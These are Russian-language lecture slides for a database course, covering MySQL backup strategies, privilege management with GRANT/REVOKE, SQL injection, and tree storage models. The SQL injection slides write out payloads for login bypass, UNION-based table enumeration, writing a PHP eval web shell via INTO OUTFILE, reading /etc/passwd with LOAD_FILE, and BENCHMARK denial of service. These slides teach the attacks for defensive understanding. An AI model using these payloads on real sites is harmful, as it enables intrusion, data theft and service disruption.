СУБД

Лекция 9

Павел Щербинин

Резервное копирование:

Зачем?

Восстановление после аварии

Человек передумал

Аудит

Тестирование

Резервное копирование:

Логические резервные копии

• Это обычные файлы, которые можно обрабатывать с помощью стандартных текстовых редакторов

• Из них легко восстанавливать данные. Достаточно просто подать файл по конвейеру на вход программы mysql или воспользоваться программой mysqlimport.

• Резервное копирование и возврат данных можно выполнять по сети, то есть не на той же машине, где работает сервер MySQL.

• Процедуру можно очень гибко настраивать

• Они не зависят от подсистемы хранения.

• Они могут помочь избежать повреждения данных

Резервное копирование:

Логические резервные копии

• Для их генерации требуется работа сервера, так что процессор загружается сильнее.

• В некоторых случаях логические копии оказываются объемнее исходных физических файлов. Зачастую логические копии хорошо поддаются сжатию, но для этого нужно дополнительное процессорное время.

• Потеря точности в представлении чисел с плавающей точкой может помешать правильному восстановлению данных из файлов дампа.

• Для восстановления данных из логической копии необходимо загружать и интерпретировать команды и перестраивать индексы, что возлагает на сервер еще больше работы.

Резервное копирование:

Физические резервные копии

• Для получения физической копии нужно просто скопировать требуемые файлы в другое место. Никакой дополнительной работы для их генерации выполнять не придется.

• Трудоемкость возврата данных из физической копии может быть проще и зависит от подсистемы хранения. В случае MyISAM достаточно просто скопировать файлы в исходное место

• Физические копии можно переносить между платформами, операционными системами и версиями MySQL.

• Восстановление с физических копий может оказаться быстрее, потому что серверу не нужно выполнять SQL-команды и строить индексы. При наличии таблиц InnoDB, которые не помещаются целиком в память сервера, восстановление данных из физических файлов может быть гораздо быстрее.

Резервное копирование:

Физические резервные копии

• Объем физических файлов InnoDB, как правило, гораздо больше соответствующих логических копий. Обычно в табличном пространстве InnoDB очень много неиспользуемого места. К тому же какое-то пространство отведено под цели, не связанные с хранением табличных данных (буфер вставки, сегмент отката и т. д.).

• Не всегда физическую копию можно перенести на другую платформу, операционную систему или версию MySQL. В частности, препятствием может стать чувствительность к регистру букв и формат чисел с плавающей точкой. Перенос файлов в систему с другим форматом чисел с плавающей точкой вообще невозможен.

Что копировать?

Неочевидные данныеНе забудьте о данных, которые не бросаются в глаза, например: двоичные журналы и журналы транзакций InnoDB.КодВ частности, триггеры и хранимые процедуры. Конфигурация репликацииДля восстановления сервера, участвующего в репликации, следует включать в резервную копию все необходимые для репликации файлы.Конфигурация сервераЕсли потребуется восстановить данные после настоящей катастрофы.Отдельные файлы операционной системыНа UNIX-сервере это могут быть таблицы cron, конфигурация пользователей и групп и правила sudo.

Терминология

АутентификацияКто вы такой?

АвторизацияЧто вам разрешено делать?

Контроль доступаКакие данные вам разрешено видеть и/или изменять?

Привилегии и разрешенияСпособ представления в MySQL права доступа.

Объектные привилегии разрешают доступ к конкретным объектам.Глобальные привилегии позволяют что-то делать с самим сервером

Таблицы доступа

userВ каждой строке хранятся учетные данные пользователя (имя, местоположение и зашифрованный пароль) и его глобальные привилегии. dbВ каждой строке хранятся привилегии уровня базы данных для одного пользователя.hostВ каждой строке хранятся привилегии доступа к одной базе данных для пользователя, подключающегося из заданного местоположения.tables_privВ каждой строке хранятся привилегии доступа одного пользователя к одной таблице.columns_privВ каждой строке хранятся привилегии доступа одного пользователя к одному столбцу.procs_privВ каждой строке представлены привилегии доступа одного пользователя к одной хранимой подпрограмме (процедуре или функции).

Таблицы доступа

Привелегии

GRANT [privileges] ON [objects] TO [user];

GRANT [privileges] ON [objects] TO [user] IDENTIFIED BY [password];

REVOKE [privileges] ON [objects] FROM [user];

Виды записей

Учетная запись системного администратора

GRANT ALL PRIVILEGES ON *.* TO root@localhost IDENTIFIED BY

p4ssword WITH GRANT OPTION;

Учетные записи администраторов базы данных(АБД)

GRANT ALL PRIVILEGES ON *.* TO john@localhost IDENTIFIED BY

p4ssword WITH GRANT OPTION;

Учетные записи для сотрудников

GRANT INSERT,UPDATE PRIVILEGES ON widgets.orders TO

tera@%.widgets.example.com IDENTIFIED BY p4ssword;

Доступ только для протоколированияGRANT INSERT ON logs.* TO logger@%.widgets.example.com

IDENTIFIED BY

Резервное копирование

GRANT SELECT, LOCK TABLES, FILE ON *.* TO backup@localhost

IDENTIFIED BY p4ssword;

Эксплуатация и мониторинг

GRANT PROCESS, SHUTDOWN on *.* TO

noc@monitorserver.noc.widgets.example.com IDENTIFIED BY

p4ssword;

Отзыв привилегий

GRANT SELECT ON *.* TO user;

REVOKE SELECT ON sakila.film FROM user;

ERROR 1147 (42000): There is no such grant

defined for user

user on host % on table film

REVOKE ALL PRIVILEGES ON...;

DROP USER ;

SQL-injection

Строковой входящий параметрhttp://xxx/news.php?id=1

SELECT * FROM news WHERE id='$id‘

http://xxx/news.php?id=1’

SELECT * FROM news WHERE id='1''

mysql_query(): You have an error in your SQL

syntax check the manual that corresponds to

your MySQL server version for the right syntax

to use near '1''

http://xxx/news.php?id=1’ --

SELECT * FROM news WHERE id='1' -- '

SQL-injection

Авторизация

SELECT * FROM users WHERE login='$login' AND

pass='$pass'

SELECT * FROM users WHERE login='Admin' -- ' AND

pass='123'

SELECT * FROM users WHERE login='Admin' AND pass='123'

OR login='Admin' -- '

SELECT * FROM users WHERE (login='Admin' AND pass='123')

OR (login='Admin')

SQL-injection

Оператор LIKE

SELECT * FROM users WHERE login LIKE 'Admin'

AND pass LIKE '123'

SELECT * FROM users WHERE login LIKE 'Admin'

AND pass LIKE '%'

SQL-injection

Команда UNION

SELECT * FROM news WHERE id='1' UNION SELECT 1 --

mysql_query(): The used SELECT statements have a

different number of columns

http://xxx/news.php?id=1' UNION SELECT 1, 2 --Ошибка. «The used SELECT statements have a different number of columns»

http://xxx/news.php?id=1' UNION SELECT 1,2,3 --Опять ошибка.

http://xxx/news.php?id=1' UNION SELECT 1,2,3,4,5,6 --О! Отобразилось точно также как и http://xxx/news.php?id=1

SQL-injection

Команда GROUP BY/ORDER BY

http://xxx/news.php?id=1' GROUP BY 2 --

http://xxx/news.php?id=1' GROUP BY 10 –mysql_query(): Unknown column '10' in 'group statement'

http://xxx/news.php?id=1' GROUP BY 5 –

http://xxx/news.php?id=1' GROUP BY 7 –mysql_query(): Unknown column '7' in 'group statement'

http://xxx/news.php?id=1' GROUP BY 6 --

SQL-injection

INFORMATION_SCHEMAhttp://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES --http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1 --

http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Users’ LIMIT 0,1 --

http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' LIMIT 1,1 --

SQL-injection

INFORMATION_SCHEMAhttp://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES --

http://xxx/news.php?id=-1' UNION SELECT 1,2,3,TABLE_NAME ,5,6 FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1 --

http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’Users’ LIMIT 0,1 --

http://xxx/news.php?id=-1' UNION SELECT 1,2,3, COLUMN_NAME,5,6 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Users' LIMIT 1,1 --

SQL-injection

Работа с файламиhttp://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '1.txt' --

http://xxx/news.php?id=-1' UNION SELECT 1,2,3,'<?phpeval($_GET[‘e’]) ?>',5,6 INTO OUTFILE '1.php' --

http://xxx/news.php?id=-1' UNION SELECT 1,2,LOAD_FILE('etc/passwd'),4,5,6

SQL-injection

DOS ататка

SELECT BENCHMARK(100000,md5(current_time))

SELECT

BENCHMARK(100000,BENCHMARK(100000,md5(current_time)))

http://xxx/news.php?id=-1' UNION SELECT 1, 2, BENCHMARK(100000,BENCHMARK(100000,md5(current_time ))), 4, 5, 6 --

Список смежных вершин (Adjacency List)

Список смежных вершин (Adjacency List)

Главный недостаток такого подхода — необходимо достоверно знать количество уровней вложенности в вашей иерархии, кроме того, чем больше иерархия, тем больше JOIN'ов — тем ниже производительность.

Тем не менее, данный способ обладает и существенными достоинствами — в дерево легко вносить изменения, менять местами и удалять узлы.

Данный алгоритм хорошо применим, если вы оперируете с небольшими древовидными структурами, которые часто поддаются изменениям.

С другой стороны, этот алгоритм также довольно уверенно себя чувствует и с большими деревьями, если считывать их порциями вида «знаю родителя —прочитать всех наследников». Хороший пример такого случая — динамически подгружаемые деревья.

Однако он плохо применим, когда нужно вычитывать какие-либо иные куски дерева, находить пути, предыдущие и следующие узлы при обходе и вычитывать ветки дерева целиком (на всю глубину).

Вложенное множество(Nested Set)

Вложенное множество(Nested Set)

Вывод — Nested Set действительно хорош, когда нам необходимо считывать структуру деревьев из БД. При этом он одинаково хорош для деревьев любого объема.

Тем не менее, для иерархических структур, которые подвергаются частому изменению он, очевидно, не будет являться оптимальным выбором.

Материализованный путь (Materialized Path)

Материализованный путь (Materialized Path)

Во-первых, по сравнению с Nested Set, он более поддается изменениям. В то же время остается достаточно удобным для выборки деревьев целиком и их частей. Но, и он не идеален. Особенно по части поиска предков ветки.

Использование именно этого алгоритма может быть заметно удобнее, для деревьев, над которыми часто выполняются как операции чтения, так и изменения.

Алгоритм довольно уверенно себя чувствует на достаточно больших объемах данных.

Наиболее неприятной в данном алгоритме будет операция вставки узла в середину уже существующей структуры и перенос одной ветки в другую.

А вот удаление, добавление в конец или изменение узла — это операции довольно простые, и, как правило, не вызывают сложностей в данной модели.

Комбинированный подход

По сути вопроса следует отметить, что скомбинировать приведенные методы можно лишь в двух направлениях:

• Списки смежности + материализованный путь (Adjacency List + Materialized Path)• Списки смежности + вложенные множества (Adjacency List + Nested Set)

Комбинировать же Nested Set и Materialized Path особого смысла не имеет, т.к. существенного выигрыша ни в чтении, ни в записи вы не получите.

AL+MP

Для AL при использовании с MP:

• Улучшаются операции выборки ветвей и поддеревьев целиком• Ухудшаются операции переноса ветвей

Для MP при использовании с AL:

• Улучшаются операции выборки наследников заданного узла• Улучшаются операции выборки родителей заданного узла

AL+NS

Для связки AL+NS взаимовыгодность не столь очевидна.

В первую очередь это объясняется тем, что недостатки от проблем изменения узлов дерева в модели NS напрочь убивают в этой сфере все достоинства AL.

Это значит, что такую связку следует рассматривать лишь как качественное улучшение поиска родителей и наследников заданного узла в алгоритме NS, а также как повышение надежности самого алгоритма (ключи можно всегда перестроить в случае порчи — информацию о связях хранит AL).

Но ведь и это качественное улучшение, хотя и не такое очевидное.

Спасибо за вниманиеПавел Щербинин

p.scherbinin@corp.mail.ru